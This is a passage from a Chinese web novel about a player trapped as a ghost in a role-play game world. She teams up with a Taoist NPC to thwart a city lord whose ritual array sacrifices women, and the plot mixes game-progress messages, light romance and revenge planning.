“当前进度:12%(剧情探索达到60%将解锁支线)”
鱼宣想:如果剧情每天都像这样自发流动,她就不必去费脑子了。
晃晃脑袋把偷懒的想法抛开,女鬼爬起来准备下床。
以往空荡荡的床铺外侧平添阻碍,鱼宣差点摔下去。
看一眼终于像正常人一样睡觉的齐览,鱼宣颇为怜悯。
很久不睡觉的人突然享受睡眠的好是不会愿意醒来的。
齐览这么警惕的人,被铲了一脚都没反应。
他没醒,鱼宣无法叫人打水,只能自食其力用除尘符印。
鱼宣等到日上三竿,齐览还一动不动,终于迟钝地发现不对。
乌凤丸补气血。
用药过量导致体虚。
这就跟来月经血量最大的时候喝红糖水一个后果。
血崩。
齐览看上去没有血崩,但估计这次真的虚不受补了。
整张脸不正常地潮红。
就算没有体温计,鱼宣也能知道他发烧了。
女鬼感到活人真是麻烦。
昨天得到的三种药品里只有救心草的疗效是勉强能搭点边的。
利湿消肿,应该算寒性药材。
不管了先用吧。
这次鱼宣没敢让齐览入口,从茶壶里倒点水混着碾了碾,一股脑儿地往齐览脸上糊。
女鬼把能做的都做了,然后在齐览脑袋下的枕头上擦擦手,有种坐以待毙的焦虑感。
等等。
NPC是不是说过,她的灵力属性寒?
鱼宣稍微提起一点精神,然后又愁苦地皱起眉。
她现在可是有四成灵力的灵异,万一没控制好把人保鲜变冷冻怎么办?
纠结一会儿,鱼宣觉得天无绝人之路,齐览都这么倒霉了,一定不会更倒霉。
鱼宣伸手,看看那张糊了药材的脸,觉得既然是灵力,应该从哪进都一样。
她扣住齐览放在床边的手。
感受到对方微微收紧的力道,鱼宣判定为某种条件反射,自己的力道也加重了点。
她闭上眼运转灵力。
寒意萦绕在两人周身,随后向四周蔓延开。
鱼宣用灵力毕竟不熟练,必须集中精神在脑子里指挥它循环转圈,完全分不出多余的精力来管齐览的症状是否好转。
是以她没有发现,本该烧得不省人事的青年道长,此时睁开带着水色的眼,一眨不眨地盯着她。
16. 第 16 章
墙根处隐隐起了雾丝,鱼宣才停手。
她提前在系统面板定了一刻钟的闹钟。
再睁眼,面前的青年早就醒了,眉上都结了霜。
先前糊上的救心草也冻成块,齐览一偏头就掉下来。
鱼宣一看就知道这是治过头了。
她跟齐览大眼瞪小眼:“怎么不提醒我?”
青年道长淡淡撇开眼,悄悄用除尘术清洁剩余的药渣。
“不需要。”
一点灵力而已,他不至于承受不住。
鱼宣觉得NPC越来越装了,懒得跟他费口舌,准备抽手起身。
没抽动。
女鬼提醒:“松手。”
齐览眼也不眨地撒谎:“手没有知觉了。”
鱼宣没有被他绕进去:“你的灵力不是热的吗?”
齐览等的就是这句话。
他眉眼乖顺地松散下来,将灵力的温度运转到手心,一点一点向对方传递过去。
很奇怪,齐览非常喜欢这种让冷冰冰的女鬼被他捂暖的感觉。
上一次他就意识到了。
无人规训的青年尤其擅长满足自己的渴望,找尽机会创造与鱼宣接触的条件。
鱼宣从精神上毕竟是个人,对适宜温度的喜好没有变。
NPC上赶着当暖手宝,鱼宣也就欣然接受。
可惜齐览不是在这儿吃白饭的,他还接了个大工程。
“齐大人,午膳已备上了,城主有请。”
鱼宣不用齐览提醒,自发开启隐匿。
睡到中午起对于齐览来说实在是不多见,头脑昏沉是意料之中的事。
在女鬼的帮助下,他的病好得很快,但没有快到立刻满血的状态。
洪霖轻易看出齐览犹带病气的面色。
他担忧道:“府中招待不周吗?”
齐览摇头:“执行公务时为灵异所伤,不碍事。”
灵异本异的鱼宣全无愧疚。
她在这儿待着也没饭吃,百无聊赖地听两人客客气气聊一些没营养的内容,就想出去转转。
还没走出两步,就受到阻力。
鱼宣低头一看,自己的衣带不知何时缠上齐览手腕,从他的袖子里延伸出来。
NPC不让走。
鱼宣很听劝。
说不定当前场景会有什么重要的后置剧情呢?
齐览昨日写了两摞纸,成稿整理出来只有薄薄一册。
压榨病中的人,洪霖为官多年,很自然地表现出坐立不安。
“齐大人身体抱恙,还如此操劳,下官罪过。”
罪过也没见他放过。
鱼宣杵在旁边,听他装模作样地关怀寒暄。
洪霖扯话题的技术非常老练,主菜刚刚端上来,他就顺势开口:“说来也怪,下官的女儿自小口不能言,这几日更是患上离魂之症,寻医问药不得其法。”
鱼宣抱臂绕过去看他:哪里怪了?其中缘由你不是清楚得很吗?
在座二位都看不到鱼宣张牙舞爪的沉浸式旁听。
但从衣带晃荡中,齐览能感知到女鬼的活泼。
青年道长已经听鱼宣口述过一遍来龙去脉,此时也冷眼看洪霖的慈父做派。
“口不能言是天生,齐某也无能为力,至于离魂,”齐览故作思考,“还是得追根溯源,不过罗庄城内,应该没有能做到这样的灵异。”
洪霖为祭阵不择手段,当然不会愿意让齐览追根溯源。
“是啊,下官也觉得奇怪,”洪霖将话头转了个方向,“前几日落水之后,小女就一直草木皆兵。”
齐览很给面子:“想必只是受了惊吓,城主多加安慰即可,不必忧心。”
洪霖扯出笑来:“是,叨扰大人了,请用膳吧。”
客人在座,洪霖本该陪着一起吃,但他实在食不下咽,即便有失礼数,还是拿过那本成稿翻看。
他为了钻研祭阵,也触类旁通,学了不少道士入门相关。
可是完全看不懂这纸上的内容。
洪霖欲言又止,但教养使然,他总不能让人家在用膳的间隙与他讲解。
鱼宣看得好笑。
其实如果洪霖像她一样厚脸皮赖上齐览,说不准这个不通人情的道士真会放下筷子与他细说。
齐览这么多年过得安稳,纯粹靠遇到的都是些脸皮薄的规矩人。
好在洪霖的求知欲足够旺盛,及时出口挽留。
“齐大人,请留步,能否与下官详谈有关阵法的事?”
齐览果然答应得很轻易。
NPC的作妖来得猝不及防。
两人才坐下,没等洪霖想好从哪个部分开始探讨,齐览先开口了。
“令千金落水,可曾请过大夫?”
洪霖愣了愣,如实回答:“请了。”
“大夫怎么说?”
洪霖:“与大人说的一样,说只是受惊,开了补气血的药。”
齐览“哦”了一声,不再往下问,好似方才表现出好奇的人不是他。
但鱼宣从他眼角眉梢溢出的愉悦看出点门道。
NPC的嫉妒之心真可怕。
浑然不觉自己的心思已经被鱼宣猜透,齐览开始洗耳恭听洪霖的困惑。
从一堆七拐八拐的措辞里,齐览提取出了对方的中心思想:这也不会,那也不会,但是想学。
齐览:……
“城主,道术精妙,非一朝一夕能成,”青年道长摆出一副高深莫测的模样搪塞道,“你若有所求,与我说便是,我来布阵。”
洪霖不好再要求,只能一边赔笑一边宽慰自己:布阵图都到手了,搞明白还会远吗?
齐览也不是纯粹地敷衍,还是挑了几处好理解的地方与洪霖讨论。
为官之人,多少都有点真才实学,脑子也转得快,交流起来不费劲。
齐览完成了任务,洪霖填充了脑容量,皆大欢喜。
“齐大人要的东西,下官都备好了,”洪霖收好成稿,“不知我们何时布阵最佳?”
鱼宣直觉这是个重要节点,当即竖起耳朵听。
青年道长点点桌面,似乎真的细细算过:“戌时。”
正好是黄昏。
那时候女鬼既没有在赖床也没有在睡午觉。
洪霖很认可这个阴森森的时间点。
“那我们现在?”
齐览垂眼,抿出一个惨淡的笑来:“齐某身体不争气,得回房养养精神,还请城主见谅。”
洪霖哪里还能说什么。
“是下官考虑不周,齐大人身体要紧。”
鱼宣叹为观止。
他们交谈的时候,鱼宣也听进去些内容。
大致就是各个方位放什么属性的法器,然后让齐览
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用灵力催动,再找其他供应能量的替代品维持法阵运行。
替代品难找,而且听名字就稀奇古怪,又是最北边又是最南边的哪座山哪条河里的宝贝。
价值就不说,找起来人力物力都得玩命耗。
简而言之,是个持续吞金的奢侈品。
说到齐览的身体。
所谓休养,应该轻易不能大动干戈地使用灵力吧。
鱼宣若有所思,发现NPC好像也不是那么遵医嘱。
这次鱼宣想错了。
一人一鬼才进屋,合上门,齐览就扯了扯她衣带。
鱼宣瞪眼:差不多得了,把鬼当氢气球玩很拉风吗?
她没好气:“什么事?”
齐览学会跟她讨价还价:“鱼宣,你先现身。”
齐览第一次喊她名字,听得鱼宣都有点起鸡皮疙瘩。
早知道临时想个网名了,被NPC叫真名怪渗人的。
齐览见到鱼宣出现,心中有种虚幻的踏实感。
他几乎是凝望着她,说:“我不能轻易动用灵力,你帮帮忙好不好?”
青年用上了他生平最脆弱的表情,但收效甚微。
鱼宣心中毫无波动,毫不犹豫答应下来。
NPC终于给她发任务了,真是可喜可贺。
她都差点以为齐览就是个地图指引加百科全书呢。
齐览不知道鱼宣在想什么,听她一点迟疑也没有地接受,那点虚幻的感觉终于稍微落地。
他表情还是很淡,不过比起一开始已经算是开了柔光特效了。
青年声线生涩含糊:“辛苦你了。”
鱼宣对这个充满礼貌的剧本杀已经习惯。
研究院那群文明人做出来的东西,再娱乐化也严格遵守道德规范。
但毕竟身临其境,鱼宣还是谨慎确认:“我要提前练习吗?”
她是个空有灵力毫无技巧的女鬼,精细活儿交给她干实在不太明智。
齐览摇头。
“你只管描着痕迹输送就是。”
换句话说,没有技巧全是作弊。
鱼宣放心了,这种防老年痴呆小游戏最适合她了。
侍从的声音穿来:“齐大人,城主吩咐小的送来些点心,还请大人笑纳。”
昨天没这回事啊。
鱼宣转过头,眼神询问:你问人家要点心了?
齐览解开腕间衣带,将她安置在屏风后,开门接过食盒。
确认侍从离开,齐览才解释:“午膳时,我把蟹黄汤包和桂花发糕吃完了。”
洪霖是人精,留意到客人喜欢到不自觉清盘的菜品,会很自觉地再送一份来。
鱼宣想明白以后,眼皮直跳。
看齐览那副风轻云淡的模样都有些不对劲起来。
这NPC到底是真愣还是假愣,这弯弯绕绕的馊主意想得也太剑走偏锋了。
齐览接着说:“你打开看看,应该还有其他的,垫垫肚子再午觉吧。”
原来是给她要的。
鱼宣都有点感动了。
这种包吃包住的服务型NPC上架以后一定会特别畅销的。
研究院的商业头脑已经先进到这种地步了吗?
非常规律的,鱼宣午睡醒来,系统提示音如期而至。
“当前进度:13%(剧情探索达到60%将解锁支线)”
17. 第 17 章
任洪霖是矜持惯了的人物,碰上未知的力量也难免心潮澎湃。
戌时还差一刻,候在外面的侍从就叩门提醒。
齐览看一眼已经在床上滚了半圈的女鬼,应了一声:“就来。”
根据齐览的成稿,祭阵所在正是城主府乃至整个罗庄城的聚阴之地。
洪霖一直叫人盯着齐览的行踪,确信他不曾在府内四处活动过,并不对他的说法有疑心。
祭阵这样讲究天时地利人和的东西,算起来总是要遵循规律的,齐览不挑这块地才是不对头。
湖面波光粼粼。
齐览开天眼,窥见底下精密繁杂的阵法。
他认得这阵法。
鱼宣一眼看出NPC的了悟。
洪霖当然也不会错过。
他上前问:“齐大人可有头绪?”
“是七七杀阴阵。”齐览神色沉静。
鱼宣这边也得到名词解释。
“七七杀阴阵:祭阵进度42/49,献祭四十九名活人女子,祈风云之势。”
“注:只在规定时间内持续献祭才能完成阵法,每日最多两人,当前剩余时间:三天。如祭阵失败,此前献祭所聚阴气将全数释放,成阴杀阵,无差别攻击。”
鱼宣总算知道为什么进度条涨得那么规律了。
合着这祭阵每天定时定点吃俩人。
第一天到罗庄城时,鱼宣之所以还能见到哑女,一是因为她躲藏起来,二是因为洪霖关注着齐览的行踪,需要空出时间来忽悠他留下干活。
偏偏那次祭阵由鱼宣干扰截胡,没有被算入四十九分之一中。
也就是说,尽管进度一直在涨,但如果鱼宣依赖祭阵的进度选择就地摆烂,最终一定会因为祭阵失败而卡关。
算下来到目前,除了哑女,洪霖祭阵成功四十二次,至少谋害四十二名女子。
也就是他后院的那些“妾室”,还有“女儿”。
鱼宣沿路与齐览天南海北地扯话题,总能让他吐出一些背景介绍。
据说灵异降世以来,生机凋敝,别说人,就连果树都少子。
鱼宣觉得洪霖这种损阴德的品种应该没有那么厚重的子嗣福泽。
他总不好说这么多女子在他的后院,是行善收留吧?
齐览听鱼宣说过,自然也想到这一点,且他看杀阴阵的完成度,分明是运转许久了。
祈天地风云之势,化蛟为龙。
青年敛下眼中冷意,明知故问:“杀阴阵十分凶险,城主此前可有发现蹊跷?”
洪霖只能装傻充愣:“下官若是知道,定会另迁府邸,万万不可能长住于此啊!”
齐览瞥他一眼:“虽说君子不立危墙之下,城主吉人天相,想必为国为民累世为善,才至今毫发无伤。”
说的是奉承话,但一旁的鱼宣能听出来其中的阴阳怪气。
洪霖拱手:“大人言重了,下官做的都是分内之事,实在惶恐。”
杀阴阵是门道很深的阵法,即使洪霖学了些皮毛也只会有个浅显的认知。
他不知道阵法即将完成,只一昧地往里填人,否则一定悔死让齐览出手帮忙。
但齐览也明白,洪霖在杀阴阵上投入那么多时间和精力,绝不会善罢甘休,更不会因为他一句“凶险”就放弃祭阵。
洪霖蓄意在必经之路上拦截,又祭阵意图借风云之势起事,根本就不把当朝皇帝放在眼里。
当然也不会放过齐览这个京中来使。
风云之势。
灵异横行的当今,还能有什么风云之势?
鱼宣眯眼,回顾现有信息。
洪霖是为达目的不择手段的一类人,从一开始就表明了截下齐览的缘由。
——为罗庄城设阵庇佑。
之后又让步缩小范围。
只是现在看来,那不过是谈判的话术。
所以,其实洪霖最初的目的就是把自己的城主府打造成一个固若金汤的牢笼。
而罗庄城,会成为炼狱。
因为洪霖要利用城中活人诱引灵异入城。
这与坑杀没有区别。
不过鱼宣真有点迷惑了。
想做皇帝的人会这么不爱惜羽毛吗?
为今之计,只有另寻出路推本,最好在三日内通关离开。
否则,鱼宣自己有锁血保护,NPC可没有。
女鬼看一眼还在观察祭阵的齐览,心中感慨这个可怜人的倒霉劲真是一波未平一波又起。
洪霖试探性地提问:“大人,这阵法,与您的阵法冲突吗?”
齐览摇头。
一个杀阴,一个庇佑,其实结合起来用也没有冲撞的属性。
前提是他把阵法设在杀阴阵外。
但齐览不打算这么做。
修行一道为苍生,杀生的事非但不能做,更要在该出手时出手。
管他是蛟,还是真龙。
鱼宣幽幽注视NPC眼里逐渐燃起的火光。
她真的想问齐览的人设是哪位拍板的。
引路NPC不要擅自开热血模式好吗?
虽然鱼宣自己也恨得牙痒痒。
但她毕竟站在局外角度看问题,剧情演绎代入感没有NPC强是正常的。
何况鱼宣现在还得强迫自己的脑子高速运转,加速推本进度。
鱼宣想:从出题人出发试试看呢?
研究院那群人,最年轻的出身国培少年班,思维是跳脱点。
可游戏类课题也是要移交给上面的老学究们审核的。
从一开始就不给玩家助纣为虐的选择,帮助或任由洪霖完成祭阵的路子不能走,这是他们的一贯作风。
杀阴阵注定成为阴杀阵。
冤魂注定要反扑。
那玩家为什么不能站队到冤魂的一方?
她的身份,本身就是鬼。
这一场的主题不是化蛟为龙,而是铲奸除恶。
“当前进度:15%(剧情探索达到60%将解锁支线)”
“恭喜玩家解锁关键节点,解锁灵异能力50%,请谨慎使用。”
鱼宣惊觉自己也有点易燃了,视线游移到齐览身上,突然觉得这小子跟自己一样有态度。
虽然人是愣了点,但好在殊途同归,NPC的方向正确。
而洪霖还不知道自己就要给杀阴阵陪葬,听阵法没有问题,心下松快。
“既然如此,就劳烦大人了,”洪霖笑眯眯,“这杀阴阵凶险,还请大人也多加小心。”
一得意就藏不住尾巴。
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齐览故作不解:“杀阴阵凶险,城主若要迁居,城主府的阵法岂不是白白设立?”
洪霖收敛心神,谨慎回应:“这,不知大人可有法子?”
迁居是不可能迁居的。
哪怕没有杀阴阵,这整个府邸的黑木就够他赖着不走了,这点门道洪霖不信齐览看不出来。
但洪霖知道,若是他不表现得顾忌,那就太可疑了。
同时他也想探一探齐览的底细。
齐览当然不可能说自己能毁了杀阴阵。
他另有打算。
“齐某学艺不精,愿斗胆一试,用庇护阵将其与城主府分隔开来,以免阴气误伤,”青年不动声色地观察洪霖的脸色,“但杀阴阵并非灵异,只能避免祭阵外的误伤,而无法阻碍出入。”
又能规避风险,又能继续祭阵,洪霖乐见其成。
真把杀阴阵封了他才不高兴呢。
“这样就好,这样就好,”洪霖一副感激涕零的模样,“劳烦大人费心。”
齐览平静地无视对方的装模作样:“今日只能先布基础阵法,后续改动要等三日后。”
洪霖客套地笑道:“下官倒是无碍,只恐耽搁大人行程。”
齐览扯了扯嘴角,也露出一个公式化的笑来:“我与城主一样,为民为苍生,谈什么耽搁呢?”
三日后,有仇报仇,有怨报怨。
因果之事,他不插手。
鱼宣看着忽然满身心眼子的NPC,心想人情来往就是使人进步。
不过NPC现在灵力不能用,战力一降到底,也不像是有底牌的样子,竟然不想着抓紧跑路。
不愧是研究院出品,就是伟光正哈。
鱼宣之前只知道自己一觉醒来就有进度涨,现在想到一睡醒就要有一个无辜女子祭阵,她有点难受。
齐览见回了房间半天女鬼也没现身,忍不住唤她:“鱼宣。”
鱼宣没精打采:“做什么?”
齐览沉默。
灵异对杀阴阵是存在感应的。
届时杀阴逆转,阴杀反扑,鱼宣收到的能量也会被加倍追偿。
他得想想有什么灵异能用的补品。
鱼宣忽然想到什么,抓住齐览的胳膊:“祭阵的那些人,她们都还活着,是不是……”
是不是还有救?
齐览知道她想问什么,垂眼:“等祭阵结束,无论完成与否,她们都会成为阵法的养料。”
鱼宣怔然,手也松开。
他又补充:“你说的哑女,她虽然是向你献祭,也是祭阵的一员,到时你会被双倍追回来自献祭的能量。”
哑女也会死。
她害死了人。
哪怕是NPC。
鱼宣心中蒙上一层阴翳。
她对自己的角色认同已经有很强的实感了,对这个剧本杀世界的认可也达到一定程度。
尽管还是玩家角度,但第一视角下的记忆就是她经历的一部分。
罗庄城的百姓她没有多注意过,得知洪霖坑杀的谋划也能当剧情来分析。
那时她还旁观齐览的热血沸腾。
哑女没有名字,可她在鱼宣的眼前活生生地出现过,又因祭阵产生牵扯。
鱼宣感到迟来的凉意爬满后背。
18. 第 18 章
祭阵情况已经大致清晰,鱼宣知道自己不能再坐以待毙。
要加速推本,就不能赖在房间里发霉。
她解除隐匿,直直望进青年道长的眼中。
“今夜我要再探杀阴阵。”
陈述的语气,没有商量的余地。
齐览也没想着拦。
他点头:“我也去。”
当晚明月高悬。
女鬼衣带缠上青年道长的手腕,隐匿加跟随很是给她省力气。
“齐大人,”她平静道,“城主府内针对灵异的阵法失效了。”
事实上,除了初次探索城主府,无论她往哪里,都没有再触发系统提示。
如果再细究,她从祭阵离开之后,就没有再受到持续掉血攻击。
洪霖对道术一知半解,绝不是他动的手脚。
女鬼眸光闪烁。
齐览不是灵异,对于阵法的波动并不敏感,在没开天眼的情况下只能听鱼宣说了算。
巧的是他白天才开过天眼。
青年边赶路边回话:“白日里我看过,阵法中灵力流转,不是停滞之象。”
鱼宣愈发确信自己的猜想。
被祭阵供养过的灵异不会再受到城主府排斥。
这么明显的指向,鱼宣不明白都不行。
可是真相如果是那样,事情只会更加棘手。
她问:“齐大人今晚计划做什么?”
青年不假思索:“布阵。”
洪霖心心念念想要的庇护阵。
鱼宣隐隐察觉NPC的不安分:“什么阵?”
“城主既然喜欢祭阵,”青年眼不自觉弯了弯,“我们投其所好,就送他祭灵阵。”
“祭灵阵:反选庇护阵,阵法开启后不可逆,阵内所有不得越出半步。”
所有。
没说是死是活。
齐览的谋算毫无遮拦。
他要把阴杀反扑锁死在城主府内。
女鬼的手泛着凉意,搭上青年的肩膀。
她说:“齐大人,要我帮忙吗?”
齐览站定在池塘边。
他没有拒绝的本事,于是顺理成章地接受女鬼的恩惠。
“多谢。”
夜半的城主府静悄悄,昏昏欲睡的当值巡守没有发现两位客人对府邸肆无忌惮的改造。
第二天女鬼没有被系统提示音叫醒。
洪霖到底有所忌惮,又或许坚持不懈这么久看不到成果,总之暂且停止了往祭阵里塞人的行为。
这让鱼宣心头的阴霾稍稍减负。
不过齐览又有了新的任务。
怪只怪他之前的成稿写得太认真,这次如果质量下降,就会被洪霖这个人精看出来敷衍。
三日,听起来是个不短的时间,实际上一刻也没让齐览闲着。
尽管齐览这次本来也打算倾注心血一搏。
反选庇护阵的规模与覆盖整个罗庄城的庇护阵不相上下,凭齐览的资历,根本没有机会实操。
不过好在,靠着纸上谈兵他也走了这么久了。
不差这一回。
鱼宣描了一晚上阵法图,天快亮了才回到房间,沾床倒头就睡。
齐览关上窗,伏案到天明。
清晨,听见脚步声停在门前,侍从还没抬手,齐览先拉开门。
青年面无表情:“早膳?”
侍从明显一惊,连忙点头应答:“是。”
齐览接过食盒,嘱咐:“午膳不必送了。”
他轻轻合上门,回头看一眼还在沉睡的女鬼,把食盒放到八仙桌上。
然后掐诀除尘,合衣躺在鱼宣身侧。
鱼宣睡饱了醒来,青年呼吸平稳毫无动静。
NPC言出必行,休养的事一天也没落下。
女鬼坐起身,受到一阵拉扯感。
鱼宣一回头。
NPC绑衣带绑上瘾了,睡觉也不放过。
女鬼盯着连接一人一鬼的衣带看了一会儿,抬手。
齐览本就不需要睡眠,被鱼宣的动作一带,就醒了。
青年侧过脸看她。
“要洗漱吗?”
鱼宣一看时间,都已经下午了。
她摇头,运转灵力使用除尘符印。
齐览趁她磨磨蹭蹭下床的时间,走到桌边灵火加热早膳。
洪霖要让人出力,总要好吃好喝供着。
鱼宣等着齐览把十来个碗碟摆好,接过筷子大快朵颐。
齐览安安静静坐在一旁。
被人盯着吃饭多少有点不自在,鱼宣抬眼看他,试探道:“齐大人,要一起吃吗?”
齐览原本眼神一错不错,听她邀请,反倒撇开眼。
“你吃过就好了。”
鱼宣不过问一句,NPC没兴趣就算了。
齐览给了三天的期限,以洪霖上位者的矜持,至少要到明天才会来问。
这剩下的半天自由度很高。
鱼宣蠢蠢欲动。
齐览见她搁下筷子,自觉起身收拾。
等他将食盒交还给门外侍从回来,女鬼已不见踪影。
青年手腕上还系着那条衣带,另一端空空荡荡,从中断开。
他留她不住。
青年眼中明明灭灭,最终归于沉寂。
祭阵早就探索得够够的了。
鱼宣沿着小路一直走,推开院落的门。
院内死寂。
女鬼一路畅通无阻,寻到里屋。
瘦削身影坐在拔步床边,背对着鱼宣的方向。
女鬼唤她名姓:“孙照影。”
孙照影转过头来,眼神空洞洞。
失明者的耳力尤其敏锐,她轻易认出鱼宣的声音。
“是你啊,有什么事吗?”
说来奇怪,方逢玉这个保护伞不在,孙照影反而一点也不怕鱼宣这个灵异。
鱼宣见孙照影能沟通,也很高兴。
她还以为对方因为失明和虚弱而自我封闭了,甚至准备好了引导话术。
“孙照影,你是怎么成为城主的妾室的?”
这话把女人问得一阵沉默。
最终她说:“我不明白你想问什么。”
这话听得鱼宣拧眉:“后院里的女人,不是城主从外面抢来的?”
孙照影这次沉默得更久了。
“世间男子娶妻纳妾,从来不过问我们的意愿,与抢又有什么分别?”
这话也不错。
但这就推翻了此前鱼宣的部分想法。
鱼宣又问:“你喜欢的是方逢玉?”
孙照影也就是看不见她,不知道该朝哪个方向翻白眼,不然脸色只会更精彩。
“城主纳妾,他强抢,论迹他也算不上磊落。”
喜欢流氓?
当她白痴吗?
鱼宣:……也是哈。
“方逢玉是怎么与你相识的?”<
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p>孙照影皱眉:“不知道。”
鱼宣满脑袋问号。
孙照影像是预判她的疑惑,讽笑道:“以你对他的了解,他是那种和声细语好体谅的君子?”
当然不是。
方逢玉只是长了一副哄人的样貌,单看他的所作所为,就知道他是阴险狡诈那一挂的。
这样的人即使对孙照影情根深种,也不会与她多做解释,只一昧地又争又抢。
几个回合下来,鱼宣几乎快要忘记先前孙照影畏畏缩缩的模样了。
她现在对这位的印象已经转变为“口齿伶俐思维敏捷的将死之人”。
没错,将死之人。
不知道方逢玉用了什么手段把孙照影捞了出来,但等到阴杀反扑,一个也跑不掉。
鱼宣不知道该不该怜悯她。
“最后一个问题,孙照影,”女鬼视线落到她攥紧的手指上,“你对祭阵,了解多少?”
这才是关键。
孙照影那张惨淡的脸上扯出一个如怨如泣的笑来。
她抬手摸上眼尾。
“我不清楚所谓祭阵,”孙照影阖上眼,神色无波无澜,“但我能告诉你,我这双眼还没瞎的时候,看到的最后一个画面。”
女鬼扬眉。
“洗耳恭听。”
鱼宣飘回去的时候还早,下午暖和的光照进窗户。
女鬼轻盈落地,没急着现身。
不出意料地在书桌前找到齐览,鱼宣在他周身左右看了看,发现那半条衣带还在青年腕间晃荡。
是NPC把她当氢气球牵的罪证,也是某种隐秘的束缚。
她伸手扯了两下。
准确地来说是一下半。
因为齐览在她扯第二下之前已经就着半截衣带把女鬼钓了过来。
鱼宣被突如其来的力道带过去。
好在她眼疾手快,撑着齐览的小臂稳住身体。
耳后阴凉,女鬼阴恻恻的声音幽幽响起:“齐大人,好玩吗?”
齐览没回答,只揪着衣带不撒手。
鱼宣站稳直起腰来,对NPC主动把灵异扯到自己跟前的行为不予评价。
她好心提醒:“齐大人,我松手了。”
可别犟着一股牛劲从椅子上摔下去。
鱼宣说松就松,实际上也没给齐览多少反应的时间。
这是女鬼带着点报复心的戏耍。
可是与料想中青年不慎栽倒或稳如泰山不同,他眼瞳一缩,下意识前倾伸手做出往怀里揽的姿势。
鱼宣只是隐匿,但到底还确确实实存在。
她就这么结结实实被青年揽入怀中。
女鬼解除隐匿,干脆不避,以脸贴脸的距离凑到青年道长眼前。
她目光清澈见底,又顷刻涟漪。
“齐大人这是做什么?”
齐览说不出解释或狡辩的话,也没有撤开手臂给予女鬼退让的余地。
说不清。
道不明。
舍不得。
鱼宣从青年眨动的眼睛看出他脑中正在拼命措辞。
然而无果。
女鬼至今为止所有技法都从他这里习得,她的路数理应他最熟悉。
只是太近。
近身是最单刀直入的攻击。
这不是第一次了,但齐览还是被对方用相同的战术攻破,屡战屡败。
鱼宣什么手段都不用,就逼得他丢盔弃甲,心意败露无遗。
19. 第 19 章
闹也闹够了,鱼宣反手按下齐览的胳膊,从他怀中起身。
“齐大人,我今日早早回来,可不是为了陪你耍杂技的。”
她得到了一个足以推翻全局的线索。
但暂时不打算告诉齐览。
因为鱼宣要做一个局,为此她得算计方逢玉。
她直觉齐览不会同意。
方逢玉是半灵胎,天生吸引灵异近身,为自保学的道术。
因此他是用到哪学到哪。
或许在解救孙照影时,方逢玉恶补过祭阵的知识,但阴杀阵这种内门阵法绝无流传市井的可能。
等孙照影身死,方逢玉与洪霖的同盟即刻破裂。
鱼宣从剧本杀的世界观里翻到一些有趣的资料。
半灵胎可是非常有用的属性。
齐览羞赧得眼下薄红。
鱼宣没给他降温的时间,自顾自地往下说:“洪霖这几日不祭阵,哑女和其他已受害的女子却还需要吊命,方逢玉必然频繁进出城主府。”
听她说起方逢玉,齐览的脸色肉眼可见地冷却下来。
鱼宣为免NPC半路冲出来掐架捣乱,还是提前扯个谎给他打预防针。
眼看着青年变脸,鱼宣思绪发散地幻视好友家里的边牧。
齐览猜到她起这个话题的用意:“你要找他?”
“嗯,”女鬼脸不红心不跳,“上次的药用起来还不错,找他再要点别的。”
鱼宣没说谎,这也是她找齐览的目的之一。
然而齐览知道,如果只是这点小事,女鬼不会知会他。
鱼宣另有计划。
她的计划与方逢玉有关。
半灵胎本身就能轻易引诱灵异,何况他对鱼宣有用处。
齐览:……
他实在不希望自己因为嫉妒去打乱鱼宣的节奏。
早在听她说方逢玉是半灵胎的时候他就该警觉的。
他没能及时切断女鬼对方逢玉的关注,就不得不面对这样的后果。
鱼宣读懂他的沉默,知道他怀疑。
但根据这么久的相处经验,只要齐览不问,就说明这是他能自己消化的问题。
能为难NPC,何必为难自己呢?
鱼宣决定把自己的脑细胞节省下来用于推本。
青年的沉默被认为是一种示弱,于是被置于不闻不问的境地。
齐览已经在女鬼身上吃过一次这样的亏,这次他已经学聪明。
短暂的沉默后,青年问:“找他要什么药?”
鱼宣略有些诧异,但还是回答:“回复灵异能量的药。”
她也是被阴杀反扑的一员,当然要早做准备。
齐览想说他有办法,但这不仅不会被鱼宣接受,还会平白让他们都难堪。
犹犹豫豫到最后,他说:“……下次不必麻烦方大夫,我有办法。”
妥协得又快又明显。
鱼宣答应得也迅速:“好。”
她不知道,与灵异的对话带有因果,只要出口便是许诺。
天地为证。
齐览很满意。
鱼宣也很满意于NPC的好说话。
另一边抬脚跨过城主府门槛的方逢玉感到脊梁骨一阵寒意。
不过他作为半灵胎,已经习惯被灵异盯上。
真正让他不安的是,眼下城主府内能让他产生这种感觉的灵异,只有一个。
那可不是省油的灯啊。
方逢玉一想到这,就觉得整张脸都疼,额头和鼻梁格外疼。
都说物似主人形,齐览那条疯狗怎么一点都不像鱼宣那么沉得住气?
方逢玉暗骂一声晦气。
他也察觉哑女的状态与之前的人不一样,只以为洪霖努力这么久终于取得新成效。
另外则是哑女比其他人更衰弱,但又更稳定。
像是其他人都是被持续抽取生命,而哑女只做一次性买卖。
因此方逢玉开药也是按温养回春的方子来,而不是单纯续命。
若非洪霖看得严,他倒真想把人抓出来研究研究。
说不准能实现照影身体的完全康复。
如果照影能复明……
不,那还是算了。
男人温和疏离的眼中闪过一丝暗芒。
他的险恶没有掩饰过。
一把虫蛀的拐杖,甚至没有留下观赏的价值。
比起让照影成为一个健全的人重归平常生活,方逢玉还是更希望她折翼陨落在自己身侧。
男人拎着药箱在回廊匆匆走过。
要不说思虑过重有时不是什么好事呢。
方逢玉在视野里出现一角烟紫色布料的时候才堪堪刹住脚步。
女鬼衣袂飘飘,看起来倒有几分仙风道骨。
方逢玉脸色一僵。
怕什么来什么。
女鬼笑着跟他打招呼:“方大夫,别来无恙啊。”
方大夫感到自己突然抱恙。
但逃跑是来不及了。
他只能皮笑肉不笑地应付道:“有什么吩咐吗?”
女鬼先前怎么都不肯现身,都能让齐览逮着他咬。
现在轻易在他面前显露样貌,就算不管齐览会做什么,他也不得不提起十二分的防备。
这个女鬼,与那些特征明显的低等灵异完全不一样。
若非方逢玉是半灵胎,凭肉眼绝对看不破她身份。
事实上鱼宣还是很重视引路NPC的意见的。
在露面与不露面之间,鱼宣选择了一个折中的方式——面纱。
齐览其人,但凡跟他卖个小乖,他就闹不起脾气来。
鱼宣自觉把对方的性情摸透,做事就下意识为他留余地。
招猫逗狗的伎俩,被她用得淋漓尽致。
鱼宣看方逢玉一副被逼到墙角的模样,想了想,决定先从简单的开始循序渐进,以免对方急了出昏招。
“我需要些药,要你为我弄来。”
女鬼丝毫没有要与他客气的意思,理所当然的语气让常年在迂回中推来拉去的男人反应慢了半拍。
语言交锋中,慢半拍就是落下风的标志。
